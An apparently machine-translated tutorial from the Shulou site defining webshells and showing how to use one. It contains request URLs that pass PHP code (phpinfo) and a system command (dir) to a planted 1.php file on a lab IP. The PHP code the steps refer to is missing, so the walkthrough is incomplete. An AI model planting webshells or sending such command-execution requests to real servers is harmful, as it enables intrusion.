Shulou(Shulou.com)06/01 Report--

How to understand webshell, I believe that many inexperienced people are at a loss about it. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

Webshell is a command execution environment in the form of web files such as asp, php, jsp or cgi, which can also be called a web page backdoor.

1. Eval, using PHP functions, such as phpinfo ()

1. Write the following to the 1.php file

2. Access the file

Http://192.168.152.128/1.php?cmd=phpinfo();

2. System, use system commands, such as dir (win), ls (linux)

1. Write the following to the 1.php file

2. Access the file

Http://192.168.152.128/1.php?cmd=dir;

3. Double-click the URL to enter

After reading the above, have you mastered how to understand webshell? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

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